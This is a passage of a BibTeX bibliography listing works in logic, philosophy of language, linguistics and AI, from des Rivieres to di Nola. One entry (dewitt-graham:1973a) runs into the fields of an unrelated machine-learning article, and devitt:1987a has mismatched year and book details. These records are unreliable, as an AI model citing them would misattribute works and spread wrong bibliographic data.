journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {642--647}, + xref = {Review of: bringsford-ferrucci:2000a}, + topic = {automated-creative-writing;} + } + +@techreport{ desrivieres-smith_bc:1984a, + author = {Jim des Rivi\'eres and Brian C. Smith}, + title = {The Implementation of Procedurally Reflective Languages}, + institution = {Center for the Study of Language and Information}, + number = {CSLI--84--9}, + year = {1984}, + address = {Stanford, California}, + topic = {self-reference;programming-languages;} + } + +@inproceedings{ desrivieres-levesque:1986a, + author = {Jim des Rivi\'eres and Hector J. Levesque}, + title = {The Consistency of Syntactical Treatments of Knowledge}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {115--130}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + address = {Los Altos, California}, + topic = {syntactic-reflection;} + } + +@book{ deswart_h1:1998a, + author = {Henriette de Swart}, + title = {Introduction to Natural Language Semantics}, + publisher = {{CSLI} Publications}, + year = {1998}, + address = {Stanford, California}, + xref = {Review: hartmann_k-zimmerman_te:2000a.}, + topic = {nl-semantics;} + } + +@incollection{ deswart_h2-rauszer:1995a, + author = {Harrie de Swart and Cecylia Rauszer}, + title = {Different Approaches to Knowledge, Common Knowledge and + Aumann's Theorem}, + booktitle = {Knowledge and Belief in Philosophy and Artificial + Intelligence}, + publisher = {Akedemie Verlag}, + year = {1995}, + editor = {Armin Laux and Heinrich Wansing}, + pages = {87--102}, + address = {Berlin}, + topic = {epistemic-logic;mutual-beliefs;} + } + +@article{ deswart_hcm-posy:1981a, + author = {H.C.M. Deswart and Carl Posy}, + title = {Validity and Quantification in Intuitionism}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {1}, + pages = {117--126}, + topic = {intuitionistic-logic;} + } + +@article{ detlefsen:1979a, + author = {Michael Detlefsen}, + title = {On Interpreting G\"odel's Second Theorem}, + journal = {Journal of Philosophical Logic}, + year = {1979}, + volume = {8}, + number = {3}, + pages = {297--313}, + topic = {goedels-second-theorem;} + } + +@book{ detlefsen:1986a, + author = {Michael Detlefsen}, + title = {Hilbert's Program}, + publisher = {D. Reidel Publishing Co.}, + year = {1986}, + address = {Dordrecht}, + ISBN = {90-277-2151-3}, + topic = {philosophy-of-mathematics;foundations-of-mathematics; + Hilbert's-program;} + } + +@article{ detlefsen:1990a, + author = {Michael Detlefsen}, + title = {On the Alleged Refutation of {H}ilbert's Program + Using {G}\"odel's First Incompleteness Theorem}, + journal = {Journal of Philosophical Logic}, + year = {1990}, + volume = {19}, + number = {4}, + pages = {343--377}, + contentnote = {Kreisel, Prawitz, Simpson, and Smorynski have claimed that + G1 provides a refutation of Hilbert's program at least as good + as that provided by G1.}, + topic = {goedels-first-theorem;Hilbert's-program;} + } + +@unpublished{ deutsch_d-ekert:1999a, + author = {David Deutsch and Artur Ekert}, + title = {Quantum Communication Moves into the Unknown}, + year = {1999}, + note = {Unpublished manuscript.}, + topic = {quantum-computation;} + } + +@article{ deutsch_d-etal:2000a, + author = {David Deutsch and Artur Ekhert and Rosella Lupacchini}, + title = {Machines, Logic and Quantum Physics}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {3}, + pages = {265--283}, + topic = {quantum-computation;} + } + +@article{ deutsch_h:1984a, + author = {Harry Deutsch}, + title = {Paraconsistent Analytic Implication}, + journal = {Journal of Philosophical Logic}, + year = {1984}, + volume = {13}, + number = {1}, + pages = {1--11}, + topic = {relevance-logic;} + } + +@incollection{ deutsch_h:1998a, + author = {Harry Deutsch}, + title = {Identity and General Similarity}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {177--199}, + address = {Oxford}, + topic = {identity;similarity;} + } + +@incollection{ deutsch_wa-etal:1997a, + author = {Werner A. Deutsch and Ralf Vollman and Anton Noll and Sylvia + Moosm\"uller}, + title = {An Open Systems Approach to an + Acoustic-Phonetic Continuous Speech Database: The + {S}-{T}ools Database-Management System + ({STDBMS})}, + booktitle = {Linguistic Databases}, + publisher = {{CSLI} Publications}, + year = {1997}, + editor = {John Nerbonne}, + pages = {77--92}, + address = {Stanford, California}, + topic = {linguistic-databases;} + } + +@incollection{ devanbu-litman:1991a, + author = {Premkumar Devanbu and Diane J. Litman}, + title = {Plan-Based Terminological Reasoning}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {128--138}, + address = {San Mateo, California}, + xref = {Superseded by devanbu-litman:1996a}, + topic = {kr;taxonomic-logics;extensions-of-kl1;kr-course;} + } + +@article{ devanbu-litman:1996a, + author = {Premkumar Devanbu and Diane J. Litman}, + title = {Taxonomic Plan Reasoning}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {84}, + number = {1--2}, + pages = {1--35}, + xref = {See devanbu-litman:1991a}, + topic = {kr;taxonomic-logics;extensions-of-kl1;kr-course;} + } + +@article{ dever:1999a, + author = {Josh Dever}, + title = {Compositionality as Methodology}, + journal = {Linguistics and Philosophy}, + year = {1999}, + volume = {22}, + number = {3}, + pages = {311--326}, + topic = {compositionality;foundations-of-semantics;} + } + +@article{ dever:2001a, + author = {Josh Dever}, + title = {Complex Demonstratives}, + journal = {Linguistics and Philosophy}, + year = {2001}, + volume = {24}, + number = {3}, + pages = {271--330}, + topic = {demonstratives;nl-quantifiers;} + } + +@article{ devidi-solomon:1999a, + author = {David De{V}idi and Graham Solomon}, + title = {Tarski on ``Essentially Richer'' Metalanguages}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {1}, + pages = {1--28}, + topic = {semantic-paradoxes;Tarski;Tarski-hierarchy;} + } + +@article{ deville-etal:1999a, + author = {Yvres Deville and Olivier Barette and Pascal van + Hentenryck}, + title = {Constraint Satisfaction over Connected Row-Convex + Constraints}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {109}, + number = {1--2}, + pages = {243--271}, + topic = {constraint-satisfaction;} + } + +@article{ devitt:1975a, + author = {Michael Devitt}, + title = {Suspension of Judgment: A Response to {H}eidelberger + on {K}aplan}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {5}, + number = {1}, + pages = {17--24}, + topic = {quantifying-in-modality;} + } + +@book{ devitt:1981a, + author = {Michael Devitt}, + title = {Designation}, + publisher = {Columbia University Press}, + year = {1981}, + address = {New York}, + ISBN = {0231051263}, + topic = {reference;philosophy-of-language;} + } + +@incollection{ devitt:1984a, + author = {Michael Devitt}, + title = {Thoughts and Their Ascription}, + booktitle = {Midwest Studies in Philosophy Volume {IX}: + Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {385--420}, + address = {Minneapolis}, + topic = {propositional-attitudes;} + } + +@book{ devitt:1984b, + author = {Michael Devitt}, + title = {Realism and Truth}, + publisher = {Basil Blackwell}, + year = {1984}, + address = {Oxford}, + ISBN = {0631135359}, + topic = {truth;philosophical-realism;} + } + +@incollection{ devitt:1987a, + author = {Michael Devitt}, + title = {Putting Metaphysics First: A Response + to {J}ames {T}omberlin}, + booktitle = {Philosophical Perspectives, Volume 12: + Language, Mind, and Ontology}, + publisher = {The {MIT} Press}, + year = {1997}, + editor = {Rosanna Keefe and Peter Smith}, + pages = {499--502}, + address = {Cambridge, Massachusetts}, + topic = {philosophical-ontology;} + } + +@book{ devitt-sterelny:1987a, + author = {Michael Devitt and Kim Sterelny}, + title = {Language and Reality: An Introduction to the Philosophy of + Language}, + publisher = {Basil Blackwell}, + year = {1987}, + address = {Oxford}, + ISBN = {0631150110}, + topic = {philosophy-of-language;} + } + +@incollection{ devitt-sterelny:1989a, + author = {Michael Devitt and Kim Sterelny}, + title = {Linguistics: What's Wrong with `The Right View'\, } , + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {497--531}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {philosophy-of-linguistics;psychological-reality; + functionalism;} + } + +@incollection{ devitt:1993a, + author = {Michael Devitt}, + title = {A Critique of the Case for Semantic Holism}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {281--306}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + contentnote = {"... semantic, or meaning, holism is the doctrine + that all of the inferential properties of an expression + constitute its meaning."}, + topic = {holism;foundations-of-semantics;} + } + +@article{ devitt:1994a, + author = {Michael Devitt}, + title = {The Methodology of Naturalistic Semantics}, + journal = {Journal of Philosophy}, + year = {1994}, + volume = {91}, + number = {10}, + pages = {545--572}, + topic = {philosophy-of-language;} + } + +@book{ devitt:1995a, + author = {Michael Devitt}, + title = {Coming to Our Senses: A Naturalistic Program for Semantic + Localism}, + publisher = {Cambridge University Press}, + year = {1995}, + address = {Cambridge, England}, + ISBN = {0521495431 (hardback)}, + xref = {Critical review: richard:1997a. Review: gert:1998a.}, + topic = {philosophy-of-language;foundations-of-semantics;} + } + +@article{ devitt:1997a, + author = {Michael Devitt}, + title = {Meanings and Psychology: A Response to {M}ark {R}ichard}, + journal = {No\^us}, + year = {1997}, + volume = {31}, + number = {1}, + pages = {115--131}, + topic = {philosophy-of-language;propositional-attitudes;} + } + +@incollection{ devitt:1998a, + author = {Michael Devitt}, + title = {Putting Metaphysics First: A Response + to {J}ames {T}omberlin}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {499--502}, + address = {Oxford}, + topic = {philosophical-ontology;} + } + +@book{ devitt-sterelny:1999a, + author = {Michael Devitt and Kim Sterelny}, + title = {Language and Reality: An Introduction to the + Philosophy of Language}, + publisher = {The {MIT} Press}, + edition = {2}, + year = {1999}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-54099-1}, + topic = {philosophy-of-language;} + } + +@incollection{ devlin-tail:1997a, + author = {Siohan Devlin and John Tait}, + title = {The Use of a Psycholinguistic Database in the + Simplification of Text for Aphasic Readers}, + booktitle = {Linguistic Databases}, + publisher = {{CSLI} Publications}, + year = {1997}, + editor = {John Nerbonne}, + pages = {161--174}, + address = {Stanford, California}, + topic = {corpus-linguistics;text-simplification;} + } + +@incollection{ dewitt:1973a, + author = {B.S. DeWitt}, + title = {Quantum Mechanics and Reality}, + booktitle = {The Many-Worlds Interpretation of Quantum Mechanics}, + publisher = {Princeton University Press}, + year = {1973}, + editor = {B.S. {de}Witt and N. Graham}, + pages = {155--165}, + address = {Princeton}, + missinginfo = {A's 1st name, E's 1st name.}, + topic = {foundations-of-quantum-mechanics;} + } + +@book{ dewitt-graham:1973a, + author = {B.S. {de}Witt and N. Graham}, + title = {The Many-Worlds Interpretation of Quantum Mechanics}, + publisher = {Princeton University Press}, + year = {1973}, + address = {Princeton}, + title = {Unsupervised Stratification of Cross-Validation for + Accuracy Estimation}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {116}, + number = {1--2}, + pages = {1--16}, + topic = {machine-learning;accuracy-estimation;} + } + +@book{ diamond-teichman:1979a, + editor = {Cora Diamond and Jenny Teichman}, + title = {Intention and Intentionality: Essays in Honour of {G.E.M}. + {A}nscombe}, + publisher = {Harvester Press}, + year = {1979}, + address = {Brighton}, + ISBN = {0855279850}, + topic = {intention;intentionality;} + } + +@book{ diaper:1989a, + editor = {Dan Diaper}, + title = {Task Analysis for Human-Computer Interaction}, + publisher = {Ellis Horwood}, + year = {1989}, + address = {Chichester}, + ISBN = {0470216069 (Halsted Press)}, + topic = {HCI;} + } + +@incollection{ dichev:2001a, + author = {Christo Dichev}, + title = {A Framework for a Context-Driven Web Resource Directory}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {433--436}, + address = {Berlin}, + topic = {context;information-retrieval;} + } + +@article{ dickason:1976a, + author = {Anne Dickason}, + title = {Aristotle, the Sea Fight, and The Cloud}, + journal = {Journal of the History of Philosophy}, + year = {1976}, + volume = {14}, + pages = {11--22}, + missinginfo = {number}, + topic = {Aristotle;future-contingent-propositions;} + } + +@article{ dickmanns:1998a, + author = {Ernst D. Dickmanns}, + title = {Vehicles Capable of Dynamic Vision: A New Breed + of Technical Beings?}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {103}, + number = {1--2}, + pages = {49--76}, + topic = {autonomous-vehicles;computer-vision;} + } + +@article{ dickson:1999a, + author = {Michael Dickson}, + title = {Review of {\it Interpreting the Quantum World}, by + {J}effrey {B}ub}, + journal = {Philosophy of Science}, + year = {1999}, + volume = {66}, + number = {3}, + pages = {495--496}, + xref = {Review of bub:1997a.}, + topic = {philosophy-of-quantum-mechanics;} + } + +@incollection{ diday:1991a, + author = {E Diday}, + title = {From Data Analysis to Uncertainty Knowledge Analysis}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {153--160}, + address = {Berlin}, + topic = {reasoning-about-uncertainty;possibility-theory;} + } + +@incollection{ dierbach-chester:1991a, + author = {Charles Dierbach and Daniel L. Chester}, + title = {A Formal Basis for Analogical Reasoning}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {139--150}, + address = {San Mateo, California}, + topic = {kr;analogy;abstraction;kr-course;analogical-reasoning;;} + } + +@article{ dierbach-chester:1997a, + author = {Charles Dierbach and Daniel L. Chester}, + title = {Abstractional Concept Mapping: A Foundational Model for + Analogical Reasoning}, + journal = {Computational Intelligence}, + year = {1997}, + volume = {13}, + number = {1}, + pages = {32--86}, + topic = {analogy;metaphor;pragmatics;analogical-reasoning;} + } + +@book{ diesing:1992a, + author = {Molly Diesing}, + title = {Indefinites}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + topic = {indefiniteness;nl-quantifiers;nl-quantifier-scope;} + } + +@article{ diesing-jelinek:1995a, + author = {Molly Diesing and Eloise Jelinek}, + title = {Double-Access Sentences and References to States}, + journal = {Natural Language Semantics}, + year = {1995}, + volume = {3}, + number = {2}, + pages = {123--176}, + topic = {LF;nl-semantics;nl-syntax;} + } + +@article{ diesing:2000a, + author = {Molly Diesing}, + title = {Aspect in {Y}iddish: The Semantics of an Inflectional Head}, + journal = {Natural Language Semantics}, + year = {2000}, + volume = {8}, + number = {3}, + pages = {173--253}, + topic = {tense-aspect;Yiddish-language;} + } + +@book{ diesling:1992a, + author = {Molly Diesling}, + title = {Indefinites}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + topic = {nl-semantics;indefiniteness;GB-syntax;} + } + +@incollection{ dietrich-fields:1996a, + author = {Eric Dietrich and Chris Fields}, + title = {The Role of the Frame Problem in {F}odor's Modularity + Thesis: A Case Study of Rationalist Cognitive Science}, + booktitle = {The Robot's Dilemma Revisited: The Frame Problem + in Artificial Intelligence}, + publisher = {Ablex Publishing Co.}, + year = {1996}, + editor = {Kenneth M. Ford and Zenon Pylyshyn}, + pages = {9--24}, + address = {Norwood, New Jersey}, + topic = {frame-problem;cognitive-modularity;philosophy-of-cogsci;} + } + +@article{ dietterich-michalski:1981a, + author = {Thomas G. Dietterich and Ryszard S. Michalski}, + title = {Inductive Learning of Structural Descriptions: Evaluation + Criteria and Comparative Review of Selected Methods}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {16}, + number = {3}, + pages = {257--294}, + topic = {machine-learning;structure-learning;} + } + +@article{ dietterich-michalski:1985a, + author = {Thomas G. Dietterich and Ryszard S. Michalski}, + title = {Discovering Patterns in Sequences of Events}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {25}, + number = {2}, + pages = {187--232}, + topic = {machine-learning;structure-learning;} + } + +@article{ dietterich-etal:1997a, + author = {Thomas G. Dietterich and Richard H. Lathrop and Tom\'as + Lozano-P\'erez}, + title = {Solving the Multiple Instance Problem with Axis-Parallel + Rectangles}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {89}, + number = {1--2}, + pages = {31--71}, + acontentnote = {Abstract: + The multiple instance problem arises in tasks where the training + examples are ambiguous: a single example object may have many + alternative feature vectors (instances) that describe it, and + yet only one of those feature vectors may be responsible for the + observed classification of the object. This paper describes and + compares three kinds of algorithms that learn axis-parallel + rectangles to solve the multiple instance problem. Algorithms + that ignore the multiple instance problem perform very poorly. + An algorithm that directly confronts the multiple instance + problem (by attempting to identify which feature vectors are + responsible for the observed classifications) performs best, + giving 89% correct predictions on a musk odor prediction task. + The paper also illustrates the use of artificial data to debug + and compare these algorithms. } , + topic = {machine-learning;} + } + +@article{ dietterich:1998a, + author = {Thomas G. Dietterich}, + title = {Machine-Learning Research: Four Current Directions}, + journal = {The {AI} Magazine}, + year = {1998}, + volume = {18}, + number = {4}, + pages = {97--136}, + topic = {machine-learning;} + } + +@inproceedings{ dieugenio-webber:1992a, + author = {Barbara Di Eugenio and Bonnie Webber}, + title = {Plan Recognition in Understanding Instructions}, + booktitle = {First International Conference on Artificial + Intelligence Planning Systems}, + year = {1992}, + missinginfo = {editor, pages, organization, publisher, address}, + topic = {plan-recognition;nl-interpretation;} + } + +@phdthesis{ dieugenio:1993a, + author = {Barbara Di Eugenio}, + title = {Understanding Natural Language Instuctions: A Computational + Approach to Purpose Clauses}, + school = {Computer Science Department, University of Pennsylvania}, + year = {1993}, + type = {Ph.{D}. Dissertation}, + address = {Philadelphia, Pennsylvania}, + topic = {plan-recognition;nl-interpretation;} + } + +@incollection{ dieugenio:1994a, + author = {Barbara Di Eugenio}, + title = {Action Representation for Interpreting Purpose Clauses in + Natural Language Instructions}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {158--169}, + address = {San Francisco, California}, + topic = {action-formalisms;} + } + +@incollection{ dieugenio:1997a, + author = {Barbara Di Eugenio}, + title = {Centering in {I}talian}, + booktitle = {Centering Theory in Discourse}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {Marilyn A. Walker and Arivind K. Joshi and Ellen Prince}, + pages = {115--137}, + address = {Oxford}, + topic = {anaphora-resolution;discourse;pragmatics;Italian-language; + centering;} + } + +@unpublished{ dieugenio-etal:1997a, + author = {Barbara Di Eugenio and Pamela W. Jordan and Liina + Pylkk\"anen}, + title = {The {COCONUT} Manual}, + year = {1997}, + month = {September}, + note = {Unpublished manuscript, Intelligent Systems Program, + University of Pittsburgh}, + topic = {corpus-linguistics;discourse;} + } + +@inproceedings{ dieugenio-etal:1997b, + author = {Barbara Di Eugenio and Pamela W. Jordan and + Richmond H. Thomason and Johanna D. Moore}, + title = {Reconstructed Intentions in Collaborative Problem Solving + Dialogues}, + booktitle = {Working Notes: {AAAI} Fall Symposium on Communicative + Action in Humans and Machines}, + year = {1997}, + pages = {36--42}, + organization = {{AAAI}}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + editor = {David Traum}, + topic = {speech-acts;corpus-linguistics;pragmatics;} + } + +@inproceedings{ dieugenio-etal:1997c, + author = {Barbara Dieugenio and Johanna D. Moore and Massimo Paolucci}, + title = {Learning Features that Predict Cue Usage}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {80--87}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {discourse-cue-words;corpus-linguistics;} + } + +@inproceedings{ dieugenio-etal:1998a, + author = {Barbara Di Eugenio and Pamela W. Jordan and Johanna D. Moore + and Richmond H. Thomason}, + title = {An Empirical Investigation of Collaborative Dialogues}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {325--329}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {discourse;collaborationn;} +} + +@article{ dieugenio:2000a, + author = {Barbara Di Eugenio}, + title = {Review of {\it Lexical Semantics and Knowledge + Representation in Multilingual Text Generation}, by {M}anfred + {S}tede}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {270--273}, + xref = {stede:1999a.}, + topic = {nl-kr;lexical-semantics;computational-semantics;nl-generation; + multilingual-nlp;multilingual-lexicons;} + } + +@article{ diez:1996a, + author = {F.J. Di\'ez}, + title = {Local Conditioning in {B}ayesian Networks}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {87}, + number = {1--2}, + pages = {1--20}, + topic = {Bayesian-networks;conditioning-methods;} + } + +@article{ diez:2000a, + author = {Gustavo Fern\'andez Diez}, + title = {Five Observations Concerning the Intended Meaning of + the Intuitionistic Logical Constants}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {4}, + pages = {409--424}, + topic = {foundations-of-intuitionistic-logic;} + } + +@article{ diffie-hellman:1976a, + author = {W. Diffie and M.E. Hellman}, + title = {New Directions in Cryptography}, + journal = {{IEEE} Transactions on Information Theory}, + year = {1976}, + volume = {22}, + number = {5}, + pages = {644--654}, + missinginfo = {A's 1st name}, + topic = {cryptography;} + } + +@article{ dignum-etal:1996a, + author = {Frank Dignum and John-Jules Ch. Meyer and Roel Wieringa}, + title = {Free Choice and Contextually Permitted Actions}, + journal = {Studia Logica}, + year = {1996}, + volume = {57}, + number = {1}, + pages = {193--220}, + topic = {deontic-logic;permission;nondeterministic-action;} + } + +@book{ dijstra-scholten:1990a, + author = {E.W. Dijstra and C.S Scholten}, + title = {Predicate Calculus and Program Semantics}, + publisher = {Springer-Verlag}, + year = {1990}, + address = {New York}, + missinginfo = {A's 1st name.}, + topic = {semantics-of-programming-languages;} + } + +@article{ dillenburg-nelson:1994a, + author = {John F. Dillenburg and Peter C. Nelson}, + title = {Perimeter Search}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {65}, + number = {1}, + pages = {165--178}, + acontentnote = {Abstract: + A technique for improving heuristic search efficiency is + presented. This admissible technique is referred to as perimeter + search since it relies on a perimeter of nodes around the goal. + The perimeter search technique works as follows: First, the + perimeter is generated by a breadth-first search from the goal + to all nodes at a given depth d. The path back to the goal along + with each perimeter node's state descriptor are stored in a + table. The search then proceeds normally from the start state. + During each node generation, however, the current node is + compared to each node on the perimeter. If a match is found, + the search can terminate with the path being formed with the + path from the start to the perimeter node together with the + previously stored path from the perimeter node to the goal. + Both analytical and experimental results are presented to show + that perimeter search is more efficient than IDA* and A* in + terms of time complexity and number of nodes expanded for two + problem domains. } , + topic = {search;} + } + +@book{ dilley:1999a, + editor = {Roy Dilley}, + title = {Sixth Workshop in Social Anthropology}, + publisher = {Berghahn Books}, + year = {1999}, + ISBN = {1-57181-700-X}, + missinginfo = {address}, + topic = {context;cultural-anthropology;} + } + +@book{ dilman:1999a, + author = {Ilham Dilman}, + title = {Free Will: An Historical and Philosophical Introduction}, + publisher = {Routledge}, + year = {1999}, + address = {London}, + ISBN = {0 415 20055 4(Hb), 0 415 20056 3 (Pb)}, + topic = {freedom;volition;} + } + +@unpublished{ dimaio-zanardo:1995a, + author = {Maria Di Maio and Alberto Zanardo}, + title = {Synchronized Histories in {P}rior-{T}homason + Representation of Branching Time}, + year = {1995}, + note = {Unpublished manuscript.}, + topic = {branching-time;} + } + +@techreport{ dimaio-zanardo:1996a1, + author = {Maria Di Maio and Alberto Zanardo}, + title = {A {G}abbay-Rule Free Axiomatization of $T\times W$ Validity}, + institution = {Universit\'a degli Studia di Padova}, + number = {27}, + year = {1996}, + address = {Padova}, + xref = {Journal Publication: dimaio-zanardo:1998a.}, + topic = {branching-time;completeness-theorems;tmix-project;} + } + +@article{ dimaio-zanardo:1996a2, + author = {Maria Concetta Di Maio and Alberto Zanardo}, + title = {A {G}abbay-Rule Free Axiomatization of $T{\times}W$ Validity}, + journal = {Journal of Philosophical Logic}, + year = {1998}, + volume = {27}, + number = {5}, + pages = {435--487}, + xref = {Tech Report: dimaio-zanardo:1996a1.}, + topic = {branching-time;completeness-theorems;tmix-project; + temporal-logic;} + } + +@incollection{ dimitriades:1999a, + author = {Alexis Dimitriades}, + title = {Reciprocal Interpretation with Functional + Pronouns}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {96--102}, + address = {Amsterdam}, + topic = {reciprical-constructions;} + } + +@inproceedings{ dimitrova-etal:1998a, + author = {Ludmila Dimitrova and Tomaz Erjavec and Nancy Ide and + Heiki Jaan Kaalep and Vladimir Petkevic and Dan Tufis}, + title = {Multext-East: Parallel and Comparable Corpora and Lexicons + for Six Central and Eastern European Languages}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {315--319}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {corpus-linguistics;} +} + +@unpublished{ dimopoulos-magirou:1991a, + author = {Yannis Dimopoulos and Vanegis Magirou}, + title = {A Graph Theoretic Approach to Default Logic}, + year = {1991}, + note = {Unpublished manuscript, Department of Informatics, Athens + University of Economics and Business}, + topic = {nonmonotonic-logic;default-logic;inheritance-theory;} + } + +@incollection{ dimopoulos:1994a, + author = {Yannis Dimopoulos}, + title = {The Computational Value of Joint Consistency}, + booktitle = {Logics in Artificial Intelligence}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Craig Mac{N}ish and Lu\'is Moniz Pereira and David Pearce}, + pages = {50}, + address = {Berlin}, + topic = {default-logic;} + } + +@inproceedings{ dimopoulos-etal:2000a, + author = {Yannis Dimopoulos and Bernhard Nebel and Francesca Toni}, + title = {Finding Admissible and Preferred Arguments Can Be Very Hard}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {53--61}, + topic = {nonmonotonic-logic;argument-based-defeasible-reasoning; + complexity-in-AI;} + } + +@article{ dinaso:2002a, + author = {Mauro Di Naso}, + title = {An Axiomatic Presentation of the Nonstandard Methods in + Mathematics}, + journal = {Journal of Symbolic Logic}, + year = {2002}, + volume = {67}, + number = {1}, + pages = {315--325}, + topic = {nonstandard-set-theory;} + } + +@book{ dingwall_wo:1971a, + editor = {William Orr Dingwall}, + title = {A Survey of Linguistic Science}, + publisher = {Privately Published, Linguistics Program, University of + Maryland.}, + year = {1971}, + address = {College Park, Maryland}, + contentnote = {TC: + 1. Chu-Wu Kim, "Experimental Phonetics" + 2. Harry A. Whitaker, "Neurolinguistics" + 3. Philip B. Gough, "Experimental Psycholinguistics" + 4. Dan I. Slobin, "Developmental Psycholinguistics" + 5. William Labov, "Methodology" + 6. Theodore Lightner, "Generative Phonology" + 7. Paul Kiparsky, "Historical Linguistics" + 8. Barbara Hall Partee, "Linguistics Metatheory" + 9. Robert E. Wall, "Mathematical Linguistics" + 10. Joyce Friedman, "Computational Linguistics" + 11. William Orr Dingwall, "Linguistics as Psychology" + }, + topic = {linguistic-theory-survey;} + } + +@incollection{ dingwall_wo:1971b, + author = {William Orr Dingwall}, + title = {Linguistics as Psychology}, + booktitle = {A Survey of Linguistic Science}, + publisher = {Privately Published, Linguistics Program, University of + Maryland.}, + year = {1971}, + editor = {William Orr Dingwall}, + pages = {758--802}, + address = {College Park, Maryland}, + topic = {foundations-of-linguistics;philosophy-of-linguistics;} + } + +@inproceedings{ dini-etal:1998a, + author = {Luca Dini and Vittorio Di Tomaso and Fr\'ed\'erique Segond}, + title = {Error Driven Word Sense Disambiguation}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {320--321}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {lexical-disambiguation;machine-learning;} +} + +@incollection{ dinola-etal:1991a, + author = {Antonio di Nola and Witold Pedrycz and Salvatore Sessa}, + title = {Difference Fuzzy Relation Equations: Studies in Dynamical + Systems}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {161--165}, + address = {Berlin}, + topic = {fuzzy-logic;dynamic-systems;} + } + 